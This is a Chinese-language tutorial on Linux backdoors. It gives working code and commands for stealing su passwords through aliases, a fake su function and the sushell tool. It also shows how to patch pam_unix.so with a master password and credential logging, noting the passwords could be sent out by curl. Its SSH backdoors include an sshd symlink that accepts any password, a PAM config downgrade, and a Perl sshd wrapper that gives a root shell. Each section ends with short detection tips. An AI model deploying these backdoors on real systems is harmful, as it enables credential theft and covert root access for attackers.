su后门

1.1 别名

在bashrc等文件配置alias su= 'strace -o /tmp/supwd-date '+%d%h%m%s'.log -e read,write,connect -s2048 su

1.2 bash脚本

编写su函数替代正常的su命令(如放入.bashrc中,普通用户登录时即生效),当普通用户使用su切换到root时,su函数会记录用户参数。

1
function su()
2
{
3
    local arg_list=("" "-" "-l" "--login"
4
    "-c" "--command" "--session-command"
5
    "-f" "--fast"
6
    "-m" "--preserve-environment" "-p"
7
    "-s" "--shell=SHELL")
8
    local flag=0 tmp_arg arg pass
9
    if [ $UID -eq 0 ]; then
10
        /bin/su $1; unset su ; return $?
11
    fi
12
    for arg in ${arg_list[@]}
13
    do
14
    [ "$1" = "$arg" ] && flag=1
15
    done
16
    [ $# -eq 0 ] && flag=1
17
    tmp_arg=$1;tmp_arg=${tmp_arg:0:1};
18
    [ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1
19
    if [ $flag -ne 1 ];then
20
        /bin/su $1; return $?
21
    fi
22
    [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`
23
    echo -ne "Password:\r\033[?25l"
24
    read -t 30 -s pass
25
    echo -ne "\033[K\033[?25h"
26
    /bin/su && unset su && =echo $pass >> /tmp/...
27
}

1.3 C程序

https://github.com/stanleyb0y/sushell向su传递密码参数的程序实现偷取root密码。

下载解包后make编译出一个二进制pty用来向/bin/su传递参数,sushell是后门脚本。

1
cp pty /tmp/.su
2
cp sushell /tmp/.X1-unix
3
echo alias su=/tmp/.X1-unix >> ~/.bashrc
4
5
后门脚本/tmp/.X1-unix内容:
6
#!/bin/bash
7
echo -ne "Password:\c"
8
read -t 30 -s pass
9
echo "$pass" >> /tmp/...
10
/tmp/.su -p "$pass" /bin/su $*

检测

  1. 监控/bin/su是否被更改
  2. 监控配置文件bashrcprofile文件里是有有su的别名

PAM后门

2.1 什么是PAM

Linux-PAM是可插入认证模块(Pluggable Authentication Modules),PAM使用配置/etc/pam.d/下的文件,来管理对程序的认证方式。它提供了对所有服务进行认证的中央机制,如远程登录应用(login,ftp,telnet,ssh,ppp),本地应用程序su等。

img

系统管理员通过PAM配置文件来制定不同应用程序的不同认证策略,具体来讲,系统是根据/etc/pam.d/下的各种服务配置文件,调用/lib/security下相应的模块,以加载动态链接库的形式实现需要的认证方式。

应用程序开发者则可以通过在服务程序中使用PAM API函数(如pam_xxxx)来实现对认证方法的调用。

2.2 PAM文件配置语法

module-type control-flag module_path optional

在/etc/pam.d/下的文件中,与服务名称相对应的文件,为该服务的pam验证文件,例如服务为sshd,则在/etc/pam.d下存在sshd这个文件,里面包含sshd验证规则。其中有个一特殊的文件为other,如果有的服务与之没有向对应的文件,则对应other。

module-type

服务类型,即 auth、account、session 或 password。

  • 验证模块(auth)用于验证用户或设置/销毁凭证。

  • 帐户管理模块(account)将执行与访问、帐户及凭证有效期、密码限制/规则等有关的操作。

  • 会话管理模块(session)用于初始化和终止会话。

  • 密码管理模块(passwd)将执行与密码更改/更新有关的操作。

control-flag

用于指明在确定服务的集成成败值过程中模块所起的作用。有效的控制标志包括include、optional、required、requisite 和 sufficient

Required:表示本模块必须返回成功才能通过认证,但是如果该模块返回失败的话,失败结果也不会立即通知用户,而是要等到同一stack 中的所有模块全部执行完毕再将失败结果返回给应用程序。可以认为是一个必要条件。

Requisite:与required类似,该模块必须返回成功才能通过认证,但是一旦该模块返回失败,将不再执行同一stack内的任何模块,而是直 接将控制权返回给应用程序。是一个必要条件。

Sufficient:表明本模块返回成功已经足以通过身份认证的要求,不必再执行同一stack内的其它模块,但是如果本模块返回失败的话可以 忽略。可以认为是一个充分条件。

Optional:表明本模块是可选的,它的成功与否一般不会对身份认证起关键作用,其返回值一般被忽略。

module-path

用于实现服务的库对象的路径,一般都只写库名,库的路径一般为/lib/security(32位),/lib64/security或/lib/x86_64-linux-gnu/security (64位)

module-options

传递给服务模块的选项,可选。

几个公用的参数:

  • debug 该模块应当用syslog( )将调试信息写入到系统日志文件中。

  • no_warn 表明该模块不应把警告信息发送给应用程序。

  • use_first_pass 表明该模块不能提示用户输入密码,而应使用前一个模块从用户那里得到的密码。

  • try_first_pass 表明该模块首先应当使用前一个模块从用户那里得到的密码,如果该密码验证不通过,再提示用户输入新的密码。

  • use_mapped_pass 该模块不能提示用户输入密码,而是使用映射过的密码。

  • expose_account 允许该模块显示用户的帐号名等信息,一般只能在安全的环境下使用,因为泄漏用户名会对安全造成一定程度的威胁。

2.3 PAM各模块功能

  1. pam_securetty.so

    • 类型:auth
    • 作用:只对root有限定,限定root登陆的终端,系统默认的“安全”中断保存在/etc/securetty中。
  2. pam_access.so

    • 类型:account
    • 作用:基于登录名,主机名或者所属域,ip地址或者网络
      终端编号(类似于/etc/securetty)。默认的配置文件为/etc/security/access.conf
  3. pam_tally2.so

    • 类型:auth

    • 作用:限制用户登录的功能, 用户登录验证失败达到一定次数然后限制用户登录。

    • 锁定账户参数:

      • onerr=[fail|succeed]:

      • file=/path/to/counter:当登陆超过允许次数时,日志保存的地方。默认的为/var/log/tallylog。当开启的时候,每当登陆失败一次,则会写入一次,使用pam_tally2 可以读出

      • audit:如果用户找不到,则把此用户名记录到日志中

      • silent:不输出任何信息

      • no_log_info:不进行日志记录

      • deny=N:当用户连续输错n次是,在第n+1次锁定该用户,没有 设定解锁解锁时间,则锁定之后需要手工解锁。

      • pam_tally.so -u username –reset

      • lock_time=n:当输入密码错误一次时,在N秒内不能再次登陆该账户。

      • unlock_time=n:解锁时间,当账户被锁定时,过n秒时,该账户 被接触锁定(清空/var/log/tallylog中的相关信息),配合deny参数使用 magic_root:当uid=0时,不会往/var/log/tallylog中写入计 数,即这个PAM不生效 even_deny_root:对root用户生效(不加magic_root参数,对 root也是不处理的) root_unlock_time=n:是针对even_deny_root的,root用户的解锁时间 每当用户成功登陆过一次后,/var/log/tallylog中关于这个用 户的记录就会清空。

  4. pam_cracklib

    • 类型:password
    • 作用:限定更改密码的长度,复杂度等等。
    • 参数:
      • dubug:把修改密码的行为记录到日志中
      • retry=N:修改密码时,允许错误的次数,默认是1次
      • difok=N:新密码与旧密码不同的位数。如果超过一半不同,则通过验证,则忽略difok的设置
      • minlen=N:密码的最短长度
      • dcredit=N:至少有N的数字
      • ucredit=N:至少有N的大写字码
      • lcredit=N:至少有N个小写字母
      • ocredit=N:至少有N个特殊字符
      • minclass=N:密码组成的范围(数字,大小写字母,特殊字符)
      • maxrepeat=N:最多与上一个密码重复
  5. pam_limits.so

    • 类型:session
    • 作用:限制资源的使用,默认的配置文件为/etc/security/limits.conf是全局的,/etc/security/limits.d/下存放各个子文件
  6. pam_listfile.so

    • 类型:auth
    • 作用:验证用户是否能够登陆
    • 参数:
      • item=[tty|user|rhost|ruser|group|shell]:控制的对象
      • sense=[allow|deny]:控制的方法
      • file=/path/filename:文件的路径,每个占一行
      • onerr=[succeed|fail]:指定某类事件发生时的返回值。
  • 实例:

    authrequired pam_listfile.soonerr=succeed item=user sense=deny file=/etc/ftpusers 保存在/etc/ftpusers中的用户,是不允许的。

  1. pam_nologin.so

    • 类型:auth

    • 作用:用于拒绝除root外的不同用户的登陆(当/etc/nologin存在,或者重新制定file的情况下)

    • 参数:auth

      file=/path/nologin:如果文件存在,当拒绝用户登陆的时候,同时会输出该文件中保存的内容。默认文件为/etc/nologin。

  2. pam_unix.so

    • 类型:auth
    • 作用:它会把密码与/etc/shadow中的哈希对比,对用户的进行最终认证。

2.4 后门代码

上面分析了各模块作用,我们的目标是修改pam_unix.so内的代码,加入总能通过认证并记录正确密码的后门代码。找到源码modules/pam_unix/pam_unix_auth.c::106的pam_sm_authenticate()函数,该函数内进行密码读取和验证。

图中框起来的就是我们加入的后门代码,内置一个万能密码,同时在本地记录任意经过PAM认证的用户名密码对。当然此时可以用root权限做更多更隐蔽的记录,比如用curl把密码发送到远端某服务器,发送前可以对密码进行流密码加密,均可以在代码中自行实现。

img

检测

监控pam_unix.so文件,看是否被篡改

SSH后门

3.1 ssh软连接

系统的sshd程序位于/usr/sbin/sshd,需要sshd_config中开启PAM认证(默认开启),使用ln将它软链接到别处、并且命名为/etc/pam.d/内存在的文件名,比如su、runuser,同时执行该链接(sshd服务需要root权限),指定监听端口:ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555。然后在其他机器上指定端口、任意可登陆用户就可以任意密码连接到受害机器。

原理:

su通过pam进行认证,认证的时候会去到/etc/pam.d中寻找同名文件,按照文件内定义的规则进行认证,如果不存在就按照该目录下sshd的规则(和正常默认情况下没区别)进行认证。

比如/etc/pam.d下的su、runuser内都含有下面这样的规则:

img

PAM中的控制标记:

img

/etc/pam.d/sshd的pam认证使用了required,即要通过多个模块的验证才能完成登录。而su第一条规则就使用了sufficient,意味着只要满足pam_rootok.so的认证就可以登录。这个认证模块是认证你的UID是否为0,然后立即返回认证结果。

由于/tmp/su要打开端口本来就需要root用户运行,所以这里得到的就是uid=0。于是pam_rootok.so的认证总会通过,和用户名、密码都无关。

检测

  1. 检查/etc/pam.d下的异常创建、写入

  2. 检查系统新开放的端口

  3. 检查系统新进程的文件类型、位置是否正确

3.2 SSH配置后门

ssh认证流程规则写在/etc/pam.d/sshd中,具体语法和规则参考上一章节。根据这个规则,我们只需要把第一个auth后边的required改为sufficient就能使得PAM仅通过第一个认证后就跳过后续认证返回ssh登录成功的结果。

img

检测

监控/etc/pam.d/sshd配置文件,看是否有变动

3.3 ssh命令后门

alias ssh='strace -o /tmp/sshpwd-date ‘+%d%h%m%s’.log -e read,write,connect -s2048 ssh'

设置别名,一般最好设置在.bashrc,才能让管理员登录该普通用户时命令立刻生效。

检测

检测bashrcprofile等文件是否设置了ssh别名。

3.4 ssh wrapper后门

这种后门实际是利用openssh的fork机制、重复执行后门脚本,在ssh认证之前反弹shell,不需要额外开启端口,也不会影响正常ssh登录用户。下面的脚本以perl为例,当然也可以使用python、shell等能实现同等功能的脚本进行替换。

先cp /bin/sh /bin/sshd增加隐蔽性,把原本的/usr/sbin/sshd移动到/usr/bin/sshd。后门脚本放置在/usr/sbin/sshd并设置对应的权限,然后重启sshd服务,脚本内容如下:

1
#!/usr/bin/perl
2
exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/); exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

代码含义:

第一行, 如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(网络字节序的大端表示中31334的16进制字符串为\x00\x00zf,正好匹配上perl正则..zf),则执行/bin/sshd,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell给远程socket(因为sshd 是以root权限运行的)

第二行 启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd 后门脚本的参数都传递给真正的sshd。这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象。

无需密码的原理:

这和OpenSSH 服务特性有关,OpenSSH 和其他的网络服务一样,都会fork一个子进程处理用户连接, 但是有一点和其他网络服务不一样,新fork的子进程不会直接处理用户连接,而是重新在子进程中重新运行自身,也就是/usr/sbin/sshd(就是OpenSSH自身二进制文件) ,所以用户的连接是被重新运行的/usr/sbin/sshd 实例给处理了。重新运行/usr/sbin/sshd 就会执行后门的第一行代码。从而反弹shell且无需认证。 对于新fork的子进程来说,文件句柄STDIN/STDOUT 就和当前的socket关联在一起了。

检测

监控/usr/sbin/sshd完整性

3.5 openssh后门

openssh后门即重新编译ssh的源码,在原版的ssh替换成恶意的ssh。

vim includes.h,插入记录登入的日志ILOG,插入记录ssh连接出去的日志OLOG,插入SECRETPW为后门密码:

img

vim version.h修改ssh –V查询到的版本信息字符串:

img

./configure && make && make install编译整个项目,替换/usr/bin/ssh/usr/sbin/sshd

检测

监控/usr/bin/ssh/usr/sbin/sshd两个文件的完整性